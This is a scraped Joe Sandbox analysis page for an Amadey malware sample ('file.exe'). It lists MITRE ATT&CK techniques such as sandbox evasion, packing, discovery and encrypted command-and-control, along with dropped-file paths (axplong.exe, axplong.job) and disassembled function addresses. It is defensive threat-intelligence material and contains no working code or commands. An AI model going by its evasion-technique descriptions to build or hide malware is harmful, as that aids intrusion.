Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Windows\Tasks\axplong.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 002BBD60 Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 310
networkfileCOMMON

Function 002B5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 002B7D00 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 392
COMMON

Function 002B82B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159
COMMON

Function 002E6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 002E6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 002E6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 002C6AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Function 04CB0369 Relevance: .1, Instructions: 57
COMMON